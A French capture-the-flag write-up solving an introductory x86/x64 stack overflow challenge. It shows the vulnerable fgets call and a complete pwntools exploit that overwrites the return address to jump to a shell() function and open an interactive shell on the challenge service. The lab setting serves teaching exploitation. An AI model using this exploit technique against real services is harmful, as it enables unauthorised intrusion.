Solution de mandragore pour Dépassement de tampon

intro pwn x86/x64

7 janvier 2025

En ouvrant le binaire avec Ghidra, on observe un écrasement de stack :

char local_38 [36];
..
fgets(local_38,100,stdin);
..
ret

La stack n’est pas exécutable, mais en cherchant un retour dans les plages exécutables du binaire, on trouve une fonction shell() à l’adresse fixe 0x004011a2.

En testant localement, le system() se termine immédiatement sûrement à cause d’un problème de stdin que je n’ai pas résolu, mais je me doutais qu’à distance, on ne l’aurait pas, et effectivement à distance le shell marche bien.

#!/usr/bin/python3

from pwn import *

context(arch='amd64')

sc = cyclic(56)
sc += b'\xa2\x11\x40\x00\x00\x00\x00\x00'

# p = process('./pwn', stdin=PTY) # stdin problem

p = remote('127.0.0.1', 4000)
print(p.recv())
p.sendline(sc)
p.clean()
p.sendline(b'uname -a')
p.interactive()